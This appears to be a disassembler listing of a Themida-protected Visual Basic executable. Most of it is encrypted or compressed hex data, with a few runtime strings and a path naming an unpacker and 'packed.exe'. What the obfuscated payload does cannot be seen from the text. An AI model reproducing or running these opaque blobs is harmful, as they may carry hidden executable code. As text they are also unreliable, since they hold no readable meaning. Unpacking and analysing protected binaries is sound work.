dd 850FFFFFh, 2Ah, 0CE9h, 0BE4B4900h, 86400CDAh, 0A2445Eh
dd 2AE954h, 8A310000h, 0F0437034h, 0DE5D28EAh, 0F14F7327h
dd 7936542Ch, 850FE427h, 6, 0D3D9589h, 6DE90607h, 0EAFFFFFFh
dd 85781BC8h, 0EE8h, 27622D00h, 0F8D12F87h, 0E912AE5Dh
dd 936434Eh, 707E985h, 0C6815E06h, 71B7h, 6EE28166h, 0B865h
dd 0CF810000h, 3145391Ch, 0BA3034FFh, 7B4D09A5h, 95850959h
dd 81060702h, 731487F1h, 19D8B33h, 8106071Bh, 2C422CF1h
dd 13BF661Dh, 12F1812Fh, 0B31E4F2Fh, 9D89514Ah, 6072BFDh
dd 0E906048Fh, 0Ch, 261FD003h, 35171AE9h, 38B032B3h, 6602E883h
dd 4848F88Bh, 21458509h, 0F8810607h, 0FFFF8ED8h, 0FF9E850Fh
dd 9D8BFFFFh, 60725D5h, 27F28D8Dh, 6A060Dh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0E6541CC3h
dd 66E1549Dh, 3781D281h, 1AD98D89h, 6A0607h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 870F33C3h
dd 4, 61616060h, 101D85C7h, 6BFC0607h, 840F0000h, 3, 812BD480h
dd 0EBA745D3h, 585C73Ch, 60733h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2682C357h
dd 82AB6D6h, 81DE9A91h, 0E35DDFF0h, 0C5B5FF62h, 6A060707h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0A46DC353h, 5995FF96h, 6A060718h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 1241C350h, 95890FF2h, 60732D9h, 10098531h, 6A0607h
dd 0D6995FFh, 0C08B0607h, 0D3562AEBh, 3B590111h, 108712B4h
dd 534381B9h, 24D1431Fh, 5F21F38Bh, 3281A6B9h, 8942C0C6h
dd 75E10C31h, 39C7D246h, 0A7C270CDh, 15CE9h, 0E705C500h
dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h
dd 78652E64h, 65h, 3Ah dup(0)
db 0
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
db 44h, 5Fh, 0D2h
dd 1B10E933h, 0C7680000h, 0E9060D2Bh, 0FFFA53F3h, 0D2CE868h
dd 53E9E906h, 0BF68FFFAh, 0E9060D2Dh, 0FFFA53DFh, 0D2E9768h
dd 53D5E906h, 0D668FFFAh, 0E9060D2Eh, 0FFFA53CBh, 0D2F9E68h
dd 53C1E906h, 0FD68FFFAh, 0E9060D2Fh, 0FFFA53B7h, 0D305668h
dd 53ADE906h, 7768FFFAh, 0E9060D36h, 0FFFA53A3h, 0D371268h
dd 5399E906h, 8A68FFFAh, 0E9060D37h, 0FFFA538Fh, 0D386468h
dd 5385E906h, 0D768FFFAh, 0E9060D38h, 0FFFA537Bh, 0D39B168h
dd 5371E906h, 7168FFFAh, 0E9060D3Ah, 0FFFA5367h, 0D3B2568h
dd 535DE906h, 4668FFFAh, 0E9060D41h, 0FFFA5353h, 0D423668h
dd 5349E906h, 0EF68FFFAh, 0E9060D42h, 0FFFA533Fh, 8A1FB6E7h
dd 8318B7E3h, 7E13AEDCh, 780DA8D7h, 6E039ED1h, 0CD00BBD3h
dd 0CBF89F34h, 0C4F69D32h, 0C5F59C31h, 62D09D32h, 96C80374h
dd 65374E43h, 0C269FC2Ch, 0D76C0B3Bh, 0AB99860Eh, 49A3F23Ah
dd 7B11B285h, 0A307E38Dh, 24CB9E47h, 0AD31396h, 0D2ED9C73h
dd 6C35A2E8h, 7F62439Ch, 41A62FB1h, 5A341FB6h, 98000000h
dd 0F48A820Ah, 0D87F1E4Bh, 5F4D553Fh, 47A300DDh, 1C9F3508h
dd 4DE53865h, 5AD6FD0Ch, 2BEB03B8h, 9506F48Ah, 0E0439C9Eh
dd 3E0A230Dh, 439C9ED1h, 0A64DE815h, 0B158EF1Fh, 0C05B8918h
dd 74C25519h, 0D28212B8h, 9C9E73E4h, 1EBBE43h, 7F5698A6h
dd 5D1FB614h, 10Bh, 69FC2CC1h, 857323D3h, 49A3F214h, 47B88C5Fh
dd 9249A3F2h, 0F5D191F7h, 8122E0F8h, 0C4F77E97h, 5B189B31h
dd 6DF20B0Ch, 0BC83927h, 401349A3h, 159CB59Fh, 0FE6F5DE5h
dd 4249A30Ah, 1CEF7716h, 1D4DD47Bh, 0E009F58Ah, 9449A307h
dd 126D0964h, 86FD1CDDh, 9BCC4FE5h, 0C7B73B4Eh, 9C3568F7h
dd 6B725CF5h, 4EE714BDh, 94336364h, 0D6BC44EDh, 0D76D0EA7h
dd 0A2CBAFE9h, 5A894A47h, 0C0891EBFh, 0FAAA4038h, 0DF862151h
dd 69165C46h, 344194FEh, 0EF22CB61h, 80B33C68h, 4A53EE5h
dd 0BAAD65Dh, 892ACB64h, 0DCC346F4h, 369F6A94h, 942D60EFh
dd 696A54EDh, 0BBC59B36h, 47F07F77h, 18089718h, 34650000h
dd 39650CA1h, 3462099Eh, 2E5D0499h, 2457FE93h, 4961FC91h
dd 35CA5B8Eh, 2FC4618Eh, 26BB5688h, 23B84F7Fh, 89FAE856h
dd 0D44396C7h, 0F92CEBBDh, 0FC2CD368h, 4A50D369h, 10DEB29Ch
dd 20A8A84Ah, 0DB7CD594h, 0A78EAF1h, 6F48A82h, 47A30184h
dd 6935DCAFh, 439CE0FCh, 0F6F84629h, 1FB5D0DFh, 0F3FDh
dd 0FC2C6100h, 0F2158674h, 8D6049A3h, 8BBE45ECh, 5E8753FAh
dd 0B49A3EEh, 0ECFC6D5Bh, 124049A3h, 0AF37D077h, 207E73DCh
dd 1ED6F6E8h, 64033334h, 0CD9E21CFh, 856C911Eh, 8122BBE8h
dd 0CF669697h, 0FFF77F28h, 5417B69h, 25CE47A2h, 989B9AF5h
dd 643C8CBh, 9625BE65h, 922BD263h, 0BDEDAEA8h, 49EA832Ah
dd 0A41503B3h, 0EF439BB9h, 622B321Ch, 0C94CE2DAh, 8A4DECBDh
dd 301EB4F8h, 439BA9BFh, 454D370Ah, 940E4F57h, 62F57841h
dd 539B443Ch, 2C85E22Bh, 194CDC3h, 0CEB39E98h, 6C56D1EAh
dd 59099F72h, 0F9E37EB0h, 972CC5F8h, 4E24BDF0h, 0F07F6B32h
dd 0E71899C8h, 44000016h, 46ED8213h, 3FE67B1Ah, 3AE17611h
dd 36DD720Bh, 42DD7203h, 0A93C6F2Ah, 0A5406D14h, 9C376910h
dd 95306007h, 0D7C53300h, 4396C666h, 2CC89AB1h, 2CD368F9h
dd 62D469FCh, 0B74A7C25h, 0BBE87710h, 7373822h, 1242C970h
dd 8D15DE73h, 4711FF95h, 247A2EEh, 4FBC882Fh, 7C439CEDh
dd 199569ECh, 0CDF05D35h, 69D21068h, 0A7914B01h, 0CA4DC24Ch
dd 0CFB9494Dh, 0BC15FFB0h, 1FB68619h, 96C3h, 0BE3E2700h
dd 72080088h, 0A2F8DA84h, 3BC29547h, 2641942Fh, 8F7D2D8Fh
dd 6F02411Eh, 89AC9669h, 85730901h, 6D0143AFh, 0A750F7CAh
dd 0E891271Fh, 0EE751CB5h, 0E98229BCh, 68565E48h, 66F562F3h
dd 0FCA53B0Eh, 0FDA439CCh, 0CE643ACDh, 0F41ADDE8h, 161044C5h
dd 3C6D0000h, 416D14A9h, 3C6A11A6h, 36650CA1h, 2C5F069Bh
dd 51690499h, 3DD26396h, 37CC6996h, 2EC35E90h, 2BC05787h
dd 9102F05Eh, 0DC4396C5h, 0FC2CF3C5h, 9119C269h, 4B150399h
dd 647A2EEh, 3E2C9E33h, 80088BEh, 0F8DA8472h, 0D78747A2h
dd 9CE878E9h, 6F0C343h, 0EEC2710Ch, 888790A4h, 955460E7h
dd 2EC2B3AFh, 0FF1F907Eh, 3563BC72h, 553F129Ah, 1CB2AA32h
dd 7202582Eh, 8FBC65BAh, 77120CF6h, 10FE083Bh, 0B66B719Fh
dd 1EAE17EAh, 13A94A73h, 0DCC47C90h, 7963883Bh, 422FB760h
dd 29D06B99h, 14BBC90h, 0C396B66Bh, 0B5E38C22h, 3A28301Ah
dd 0B46531C5h, 0CE770DE0h, 0C871079Eh, 0B12FC95h, 0BBD93464h
dd 23FD2B72h, 0F29A7011h, 40652D86h, 15389011h, 64950000h
dd 69953CD1h, 649239CEh, 5E8D34C9h, 54872EC3h, 79912CC1h
dd 65FA8BBEh, 5FF491BEh, 56EB86B8h, 53E87FAFh, 0B92A1886h
dd 44396C4h, 0FC2C1BEDh, 0D8919369h, 0C2F1FC6Eh, 14F941h
dd 90255600h, 8D2854FBh, 882351F8h, 841D4CF3h, 7C1548EFh
dd 79344CE7h, 6F16AB46h, 670EA342h, 660DA235h, 3D0A9F36h
dd 0C470E1CFh, 0A4BB4396h, 69FC2CD2h, 999119C2h, 0EB431503h
dd 3B0E47A2h, 81FA11A6h, 0EA72E3D1h, 0EABD439Ch, 5D55DD00h
dd 0F12FD9C7h, 22EA419Bh, 95E0C334h, 9A3B0E3Dh, 58EC0713h
dd 0D585D12Dh, 0ED2876E7h, 6360E0A0h, 2FB1DFE8h, 1545D4A7h
dd 0ED759882h, 88B65FF5h, 0C3AD46EDh, 69F7CDBBh, 3F129EECh
dd 0A767EF98h, 65FBCD4Bh, 0F28DBBD6h, 7011B24Bh, 884B57DAh
dd 0A92A65FBh, 54C9B7BFh, 6F98E0E0h, 0C8FB7CAEh, 4CE58C2Dh
dd 3C6C15ABh, 3D6D14A9h, 6ADCD4AAh, 0F72648A9h, 143176h
dd 0C85D8E00h, 0C5608C33h, 0C05B8930h, 0BC55842Bh, 0B44D8027h
dd 0B16C841Fh, 0A74EE37Eh, 9F46DB7Ah, 9E45DA6Dh, 7542D76Eh
dd 0C3A81907h, 0DCF34396h, 0F276E70Ah, 87549A3h, 749A402h
dd 49A3F29Ah, 0A3D22C99h, 0B6E66949h, 30C1F459h, 19EFBDC7h
dd 67FE2E2Fh, 6E9DA391h, 0A72857FCh, 13D2h, 0D267FE2Fh
dd 0CB60FF2Bh, 0C65BF624h, 0C055F01Fh, 0B64BE619h, 1548031Bh
dd 1340E77Ch, 0C3EE57Ah, 0D3DE479h, 0AA18E57Ah, 96C34BBCh
dd 0AD7F9643h, 0ADB2A225h, 31D30596h, 0A49C2447h, 0C3D58B0Eh
dd 0C8A19671h, 0CEE8D6DEh, 6947A229h, 31E4C096h, 0D706FA69h
dd 137956h, 10A5D600h, 0DA8D47Bh, 8A3D178h, 49DCC73h, 0FC95C86Fh
dd 0F9B4CC67h, 0EF962BC6h, 0E78E23C2h, 0E68D22B5h, 0BD8A1FB6h
dd 0C1F0614Fh, 243B4396h, 69FC2C52h, 6C0B3BC2h, 0BF89E2C5h
dd 0AEBC9C39h, 253E19h, 25A20000h, 0C9B34E7Ch, 0A3F21683h
dd 8B2A5A49h, 1D7F0AF6h, 17AD496Fh, 0AAA8CA94h, 6751F5BDh
dd 1310CD4Eh, 2C430000h, 19C269FCh, 15039991h, 47A2F2E7h
dd 7F4717B2h, 454DC927h, 0BB50C1AFh, 0C89B439Ch, 41C99227h
dd 0E58C2B5Bh, 0F38EBD4Ch, 0F4CEBC52h, 1419BCCh, 1902958h
dd 524C36D1h, 47F1078Ah, 0B7067F55h, 957372E3h, 49EABD3Dh
dd 4C1B30B3h, 0AAEB647Bh, 0F220A7C0h, 68D6C257h, 0AC3D95E0h
dd 0A950E580h, 0B43BE27Dh, 990AF888h, 0E43D95E0h, 31DA7011h
dd 667F6904h, 731AADDFh, 7D24BDECh, 2E1826B9h, 25BE6500h
dd 412CB84h, 0BA4FEE1Ah, 0BCD21ABBh, 0D503AC25h, 0DC831E4Ch
dd 0E313A243h, 1A049D44h, 17426h, 820A8A00h, 0A406F48Ah
dd 0CF47A2D0h, 44C755FCh, 7CFFFB8Fh, 268DE294h, 0E8909801h
dd 69959680h, 669239CEh, 0E99220C7h, 0BDCE58BBh, 4872207Eh
dd 7D6700A7h, 9C1FCA37h, 5CEA2543h, 9127C6F2h, 761DB8E8h
dd 23ECF3DDh, 1F0DA39Bh, 419AEFD1h, 0DCB7019Ch, 6E1EA09Fh
dd 6C9F26CDh, 6A9D44D9h, 6B9841D7h, 0A8922BD2h, 5A58C38Fh
dd 0C7AF3D94h, 5AB82917h, 30033D94h, 2DD46FA1h, 0C14FAA94h
dd 0FB912457h, 9C861F52h, 23C2EE95h, 503EEE7Ch, 3D945ADFh
dd 6C6D572Ah, 4DFEA540h, 0EC958A94h, 3E3F29BCh, 34DD7312h
dd 7F867001h, 0BE585580h, 388725h, 6AF0000h, 0FE973ED7h
dd 0F92C4814h, 73AC168h, 0FF2FD86Eh, 0DE657E68h, 0EC731AABh
dd 0F87F26BFh, 0EC852CC5h, 26E63079h, 0BC6AB46Dh, 6463F889h
dd 19AEC071h, 886Bh, 820ACF00h, 31D8699Ch, 3FE07DAAh, 6C1A089Eh
dd 3747A2FAh, 0AC2FBD64h, 0E91142B1h, 9F3E6BA7h, 0E71314FEh
dd 0E00CB348h, 0EB179E45h, 3BF4A54Ch, 65933CEDh, 0FB8A23CAh
dd 44452FCEh, 0E9E87D18h, 1FB698ECh, 35EEh, 7F0A5200h
dd 30D76A9Dh, 7260F697h, 49A3F251h, 0B68229FCh, 49A3F049h
dd 46D660A9h, 4331C7BBh, 49A3F122h, 0C465FACDh, 15h, 7D6A7BFEh
dd 7AEF32DCh, 7C25C490h, 0CFCAB44Dh, 51h, 0D9A22545h, 1EF87D30h
dd 9373822h, 1440C76Eh, 16BD588Bh, 25C6618Fh, 0AE30A18Fh
dd 0A87B49A3h, 95C87107h, 2DBC55FCh, 757C6601h, 0E515A2CEh
dd 8312AB52h, 7811B857h, 0FE8730D7h, 0DB935F06h, 54C00A5Eh
dd 0B421A771h, 2619AF03h, 0B0Dh, 4A7C258Ah, 8D7710B7h
dd 8B21E16Ah, 3FB09E95h, 8A49A3E3h, 19074EB7h, 3AAB992Fh
dd 8549A366h, 0DC6A11B2h, 7682D459h, 0A48EDBE2h, 3E392A5Eh
dd 9013A3D2h, 0A59E99BEh, 2C877136h, 0E9F9DCE2h, 29E3A359h
dd 47000000h, 0F389810Ah, 92242A70h, 0D4BE1A52h, 876DDECCh
dd 0E5B849A3h, 4963723Eh, 0A98CF296h, 0F97C599Fh, 485EC322h
dd 0C2000002h, 2F89810Ah, 0FC2C894Dh, 0FA2AD369h, 1A83B6Dh
dd 9220C768h, 0A3F233A4h, 0AAB7E49h, 0A2345420h, 0AEB411D4h
dd 1CEB1Ch, 0A4F0000h, 252F8981h, 0A3F2C937h, 0E7411449h
dd 0FE2CB125h, 0E4F60963h, 2432h, 810AA800h, 37252F89h
dd 49A3F2C9h, 0CC2F5D06h, 0B09E3C3Eh, 30D7785Eh, 1A75AD97h
dd 2CB125C0h, 0F60963FEh, 9F8E7E4h, 8831576Ch, 0D0D1BB56h
dd 0C86F049Dh, 0BE67FD98h, 0B64FF68Fh, 0C0F3ECCCh, 0ACBFB725h
dd 0F184B462h, 0D473A36Ah, 0B8BD7F66h, 0D14230E0h, 1C334BDAh
dd 3A045F49h, 0C249DC0Ch, 0BE2CCBFBh, 5ECC92C5h, 0A9334BDAh
dd 0DA82F3E1h, 0CCD334Bh, 49D44DDh, 5C54C263h, 2151FF49h
dd 2BD26B98h, 0A36AF192h, 610E0D70h, 0F0FA770h, 9A96F8B0h
dd 54F5967Ch, 64E515BEh, 11FB9C35h, 9CC283F8h, 0AB32D96Ch
dd 9037DE79h, 16ED71BFh, 3A8E781Bh, 879825C6h, 0C95C8FB9h
dd 24958333h, 6F334BCFh, 0FDABB29Ch, 0CEEE5F4Dh, 0BC58334Bh
dd 62CC2CADh, 0AF996CF4h, 51E77EAEh, 6204FECEh, 0AA94620Ch
dd 0D09ED1CAh, 334BD762h, 86F7E5ADh, 0D1334BD7h, 0B7EF5DFEh
dd 0FC2C1A24h, 0EB1BE269h, 42F7DE4Ch, 0FC2AF447h, 0E4B239CCh
dd 89770B3Bh, 334BD718h, 48EF9063h, 94C4C5AFh, 679A9301h
dd 7118B1E0h, 0D1C937D8h, 96C670BEh, 0E7F38737h, 0C9B8673h
dd 7A047DAh, 6111DF66h, 4AF60273h, 907A4D33h, 69FC2CC4h
dd 0ABC150D3h, 0B15F6F29h, 5B45E681h, 0A894D8Fh, 34318B7Fh
dd 0B411D4A2h, 2ED71CAEh, 0AD487502h, 25CC6D06h, 3ACDFD8Ch
dd 3C5C50h, 25C00000h, 36EE4F7Ch, 0E5A91A6Dh, 841DC465h
dd 0F8EC779Ah, 0C937259Eh, 1449A3F2h, 0B125E741h, 0CF65002Ch
dd 0F2C0311Fh, 430B49A3h, 0A3F2E455h, 0BB5C2F49h, 0E4F605D1h
dd 3D32h, 7F0AA800h, 5745F58Bh, 49A3F1E6h, 0F40B5450h
dd 0B43CB614h, 252BF7E1h, 0A3F2C937h, 217BD649h, 7C25B125h
dd 0FD98CA49h, 8D1CB55Ch, 8A23CA5Dh, 0D4739FA0h, 4F7C257Ah
dd 8C760FB6h, 0B0E74355h, 2E49A3F4h, 0FFFD54A5h, 235CDFFFh
dd 2F4A303h, 0E774402Ah, 49A3F27Ah, 5BDC0EB7h, 4EE8F2Eh
dd 0CA6058E1h, 7AD51447h, 0DFC99285h, 680331D8h, 0FF84F5C1h
dd 9BE449A2h, 0EC75A38Dh, 0F08526BFh, 0ED821D49h, 0FEA59924h
dd 0FD98C770h, 8DD3BD56h, 0B714C63h, 0CD131D00h, 5C060308h
dd 1B2D2h, 79E73600h, 9B49A3F2h, 64FF2D13h, 0ED8324BDh
dd 2E9F8D3Dh, 7949A3F2h, 3476BCA6h, 0DF47A2D6h, 20C9770Ch
dd 6F705AF3h, 78FFA641h, 830AB14Ch, 6811B857h, 6452E8E0h
dd 419BC602h, 0AA845A2Dh, 58F060E5h, 0D58A829h, 84B50000h
dd 89B55CF1h, 84B259EEh, 7EAD54E9h, 74A74EE3h, 99B14CE1h
dd 851AABDEh, 7F14B1DEh, 760BA6D8h, 73089FCFh, 0D94A38A6h
dd 244396BCh, 0FC2C3B0Dh, 0FE2AD369h, 351FB85Fh, 0F3EB731Ch
dd 0E1EADA5Dh, 84E11C5Eh, 5FE2929Ah, 455E40F8h, 0A1E7D10Bh
dd 4798794Fh, 8B1471Ah, 0FCAA3FDAh, 0E0872653h, 2E5C5D47h
dd 0AE5EEC93h, 96684FC0h, 0DDC79A43h, 8319ACDCh, 6B12ABDAh
dd 26CFE8D2h, 2210A69Eh, 41956B28h, 0C8598C35h, 0A49E8821h
dd 4FDFFBD1h, 74A3F07Ah, 0CBDF3h, 4CE91A00h, 49E410B7h
dd 44DF0DB4h, 40D908AFh, 40D104ABh, 3DF810ABh, 3BE2770Ah
dd 33DA6F0Eh, 2AD16601h, 0F9C65BFAh, 0BB2C9D8Bh, 60774396h
dd 69FC2C8Eh, 999119C2h, 7EAA5303h, 0E9AFF5DFh, 0A447A2F4h
dd 65953CD1h, 0EC743DD2h, 33705EF4h, 0DE4191CBh, 9ECC750Bh
dd 99C76E03h, 0A0D057FEh, 2DB55E05h, 0B7B19F35h, 0D23B8EBCh
dd 9EA329FFh, 6897EE75h, 0C45E7h, 0D471A200h, 0D16C983Fh
dd 0CC67953Ch, 0C8619037h, 0C8598C33h, 0C5809833h, 0C36AFF92h
dd 0BB62F796h, 0B259EE89h, 814EE382h, 0BBB42513h, 0E8FF4396h
dd 69FC2C16h, 0A49119C2h, 0A3F245B6h, 0C05B8949h, 25F88019h
dd 5A00EE84h, 1547A2F6h, 0DA06AD42h, 0D1FFA63Bh, 0A2FA136h
dd 0F6A9C82h, 59FC7E5Ah, 0B96001ABh, 0C35E9120h, 9C9E8C22h
dd 0C747A1FAh, 14814DF4h, 41439BFAh, 0C70ED05Eh, 11FB6B7h
dd 0FF839F7Eh, 4A340BEAh, 8856h, 2CBA00h, 0F326CF65h, 234BB62h
dd 8E2FC86Fh, 54FD8BA4h, 13279021h, 8F20336Bh, 3763644Eh
dd 0A57F0298h, 6883A9A7h, 188A18Bh, 811C49D2h, 0F9A041DAh
dd 12A74672h, 33C9C149h, 0A22FC745h, 491FF247h, 0FA692B95h
dd 6BB53665h, 0C800000Bh, 0C269FE97h, 0BB62F796h, 0B65DF28Dh
dd 0B259EE87h, 0B651E67Fh, 15B0E39Eh, 11ACD980h, 10A3D57Ch
dd 11A4D47Bh, 5341AF7Ch, 4396BAE2h, 2C44162Dh, 2FD06500h
dd 6Ah, 65002CA5h, 0A78D15BEh, 0AA40E174h, 0F29B0CFAh
dd 4BE649A3h, 1154A6F2h, 0FEE8894Fh, 6BA608F6h, 13C347A2h
dd 9C5BB425h, 422CFF43h, 159F7548h, 15FA694Fh, 0AF865E6h
dd 24550000h, 2955FC91h, 2452F98Eh, 1E4DF489h, 1447EE83h
dd 3951EC81h, 25BA4B7Eh, 1FB4517Eh, 16AB4678h, 13A83F6Fh
dd 79EAD846h, 0C44396BAh, 0FC2CDBADh, 0B3BC269h, 0F2188977h
dd 906349A3h, 0C6548EFh, 848A0D02h
dword_5A00DC dd 69A704E8h, 0A92C856Fh, 1F19AF9Eh, 0C1AB4A76h, 276CDh
; DATA XREF: Themida_:0053DBC0o
dd 0AE3E3100h, 42D8D058h, 0A2F9AA54h, 0B926547h, 2E9F8D3Dh
dd 79439CE9h, 6A76BCA6h, 88B62B50h, 4DE81A00h, 662816ACh
dd 34E0450h, 2912C5Ah, 534D37D6h, 0A24BD980h, 1DB8E572h
dd 523CDD76h, 19AFA72Fh, 0F38EC069h, 0D84AB34Ch, 2677012h
dd 72E72D17h, 8D47F8A7h, 4F7B24BAh, 0CA809B0h, 37213C3Dh
dd 0E619A849h, 210BA44Bh, 0A5407019h, 9E396910h, 0C16820C8h
dd 2AABDAF9h, 0A1Eh, 16AB4A7Bh, 0FA4436Fh, 0A9F3A68h, 4993463h
dd 2972A5Dh, 61944F67h, 67943BD0h, 609239CEh, 598930C5h
dd 0EE5C29BEh, 96B98F00h, 0F1C3DA43h, 4977002Ch, 548007AEh
dd 0D87912B9h, 7F029037h, 0F9819A1Dh, 6D083BB3h, 37BFE2CCh
dd 34BBA93Fh, 6B4798D0h, 2C590298h, 2855FC91h, 0B4AB52C5h
dd 6405DFCDh, 948C14BDh, 992955FEh, 96993AABh, 11B28543h
dd 0DFE7D16Ah, 0AAD67F2Fh, 0F7CB640Bh, 43969986h, 0CE14FED1h
dd 419575C4h, 0ED962CFFh, 0E99025C0h, 0E28B21BCh, 5BFA2AB5h
dd 0D37A1BB4h, 0A937503Ah, 8C33CE00h, 0E9625D2Bh, 2DCEB244h
dd 73124243h, 7AF00F9Dh, 384B3F0h, 95Eh, 56EB8ABBh, 4FE483AFh
dd 4ADF7AA8h, 44D974A3h, 42D76A9Dh, 0A1D48FA7h, 0A7D47B10h
dd 0A0D2790Eh, 99C97005h, 2E9C69FEh, 96B8CF40h, 31031A43h
dd 16877525h, 6149A3F2h, 0EFE25FC6h, 0BA5B4EB3h, 65CED4D0h
dd 0B549A3C2h, 8D9DA26Ch, 78E8100Ah, 0E3CD37A5h, 0AA4038C0h
dd 8C33CE01h, 130109F3h, 47A22109h, 32DB7144h, 757D6706h
dd 0B62715C5h, 1439C21h, 1543442Eh, 941CE57Ah, 1318069Ch
dd 404194B2h, 2C98AABDh, 917BBF53h, 7E2EC497h, 8312A5D5h
dd 0CDCEB857h, 0C4740A9Dh, 923E65D6h, 0F3DDB03Dh, 821545ECh
dd 7F6C68ACh, 0FA7BAAF0h, 8AAh, 0AA3FD607h, 0A338D703h
dd 9E33CEFCh, 982DC8F7h, 8E23BEF1h, 0ED20DBF3h, 0EB18BF54h
dd 0E416BD52h, 0E515BC51h, 82F0BD52h, 96B72394h, 85576E43h
dd 0A3F27AE7h, 98EBE49h, 8D2854DDh, 0EDB64BECh, 2ED76D65h
dd 27C067FEh, 285353Dh, 3C417C4h, 1B614BB2h, 47A32C47h
dd 45F58B5Eh, 17CCAFC2h, 62F13145h, 58F19835h, 0A83B6D6Eh
dd 0A73A6C13h, 9CC97200h, 0A0D35A01h, 24C55E05h, 8283F3Ah
dd 0AB50000h, 6F48A82h, 47A2D6C4h, 29F59C6Fh, 439CC6BCh
dd 82B059E9h, 808ADE1Fh, 7112AC42h, 0EC4731CAh, 85399C22h
dd 37A31FB6h, 7000001h, 0C067FA2Ch, 0CA710C39h, 0CD741343h
dd 0EC811446h, 0D9801345h, 1DB3AB30h, 0A3F2B62Fh, 2340C349h
dd 4BDEA3E5h, 0D7781542h, 7920F3EDh, 8128C5F2h, 8B32CBFAh
dd 0B99E0FFDh, 16E949A3h, 8C889667h, 0D146D019h, 0B9C23321h
dd 3A0D49A3h, 8A1D4F50h, 7C1B4BF4h, 0B2E48B92h, 41EA781Fh
dd 0B9E87712h, 3BF03620h, 0EB49A3B9h, 78AA94A2h, 14AE3215h
dd 0B45594DDh, 11D1561Fh, 0A03CB63h, 1DB3540Bh, 0A380C62Fh
dd 872E0149h, 0EA5B49F9h, 3549A37Fh, 6DDECC62h, 0B849A380h
dd 0CDFAFBE5h, 0C7F49B30h, 76F9872Eh, 9F79D715h, 0E4E5CF6Eh
dd 0F7A21B4h, 0BC437019h, 6A54F590h, 6710010Fh, 0B2B39D38h
dd 0AC53E885h, 963FE67Fh, 9280160Eh, 47A26A94h, 0B057ECBFh
dd 0A454EA83h, 9C4A45B6h, 0D3BD9043h, 948C11BAh, 4AAB10FEh
dd 13E6439Ch, 6EB8016Ch, 65FA93C0h, 4DF491BEh, 8E241CA4h
dd 7A0235DEh, 9C4A1B8Ch, 0F2936643h, 2F58C208h, 0C093419Bh
dd 0D02CA72Ah, 4E1CC222h, 89B65D64h, 0A957ECh, 4F503AD3h
dd 47F58A1Dh, 0AEB41EC4h, 0BEEAAEB0h, 3EDF781Fh, 820A8854h
dd 0D806F48Ah, 0A347A2F2h, 76A229D0h, 0AD042D7h, 37A8967Fh
dd 8249A3F2h, 5D8146AFh, 27B7EF05h, 0A613DF86h, 0D349A365h
dd 41F126F0h, 0A365E253h, 0C0311F49h, 0B49A365h, 0F3DDB038h
dd 0AF4D3B9Ah, 2CA119h, 20C90000h, 1EAC53EEh, 0A371BF30h
dd 96370A49h, 2CE0ACh, 81F2BE65h, 0E149A3F2h, 74A08E98h
dd 2B5844D9h, 0DD49A3D1h, 0FFFF9E54h, 7C25CAFFh, 0C9CAB44Dh
dd 14A4FE99h, 8B7F0AC2h, 0D4B42631h, 1CAEB411h, 37EBh
dd 75631300h, 46A3F204h, 0D57C1548h, 0F7E1B43Ch, 8B7F0A2Bh
dd 831E4CF5h, 8D5943DCh, 0F2C63725h, 3E1149A3h, 0CC7525E4h
dd 521E0899h, 0B65002Ch, 4332E4F6h, 0A8000000h, 0F58B7F0Ah
dd 0A290204Ch, 49A3F231h, 6108A97Ch, 42E25FC8h, 3BD2D364h
dd 7C258551h, 7811B849h, 0F283F4E2h, 0FBCE49A3h, 0AA1B0911h
dd 0E749A3F2h, 5B87103Eh, 0F9311BBCh, 0B125449Eh, 0B65002Ch
dd 0FE2CE4F6h, 7FF0BC63h, 0DF49A3F2h, 0EE978896h, 0E78027BEh
dd 33CEFCFDh, 0F513B29Eh, 18A149A3h, 0FFFFF4A5h, 65002C8Eh
dd 847222D0h, 49A3F213h, 7EA18B5Eh, 0E568FEF6h, 3DC3DA03h
dd 6197C929h, 928B642Fh, 11FF07F1h, 47A24717h, 2AB85F32h
dd 0FB65181h, 8F172FAEh, 0EB8C55A2h, 0E34EBB01h, 6492439Ch
dd 6C9B22C9h, 0C0792AD1h, 62D3C176h, 0AD439CE3h, 0B09339DAh
dd 0CB756066h, 7671FB5h, 0CB000000h, 132h, 820AA800h, 9B44F48Ah
dd 0A1E7D16Ch, 47A303C7h, 0DA680FE2h, 35C19157h, 0A9930E5Bh
dd 0C5F37CA8h, 49EA832Ah, 6B52C8B4h, 3466439Ch, 3DE483B3h
dd 0C46D03A4h, 0BD56FD98h, 0F325CCD3h, 0F344B960h, 0FDA4436Fh
dd 5AC4976h, 918D9B54h, 4FF947B0h, 4EF58A1Dh, 1919871Eh
dd 0FEA54070h, 4A7A7B65h, 32453DABh, 6B0A3AE4h, 0A22552E4h
dd 0DB74CBD4h, 0C2A9362h, 81CB3C39h, 5D02913h, 0D71A2FA8h
dd 0C1h, 8D850A3Bh, 0BC214EF7h, 74B8BA58h, 11FB9CE6h, 0C9372545h
dd 0D649A3F2h, 5462E57Bh, 2D66F4BCh, 2558240Eh, 497C25B1h
dd 8E7811B8h, 2C6DE233h, 250F69FCh, 0CDB74A7Ch, 7F0A62B4h
dd 0B426318Bh, 0AEB411D4h, 2BEB1Ch, 0A4F0000h, 25318B7Fh
dd 0A3F2C637h, 0E43E1149h, 0B34E7C25h, 254DC1C9h, 0F2168775h
dd 8E6149A3h, 0D877A3A4h, 32E4F67Eh, 40h, 8B7F0AA8h, 0C5752531h
dd 0A3F266D7h, 0DF7EAA49h, 44179F38h, 0F2A3145Ah, 55B049A3h
dd 4CE916BFh, 0F257C8B6h, 0CFA249A3h, 7C2519E5h, 0C4CCB64Fh
dd 65002C50h, 48A2250Bh, 14641094h, 99ABE2CCh, 0FFFF2D32h
dd 93C36CFFh, 0CAB44DF4h, 69FC2CFEh, 142E50D3h, 0C8D060CEh
dd 0E3EC5DEh, 0C2239482h, 9B6E49A3h, 7B765FAh, 0ED94315Eh
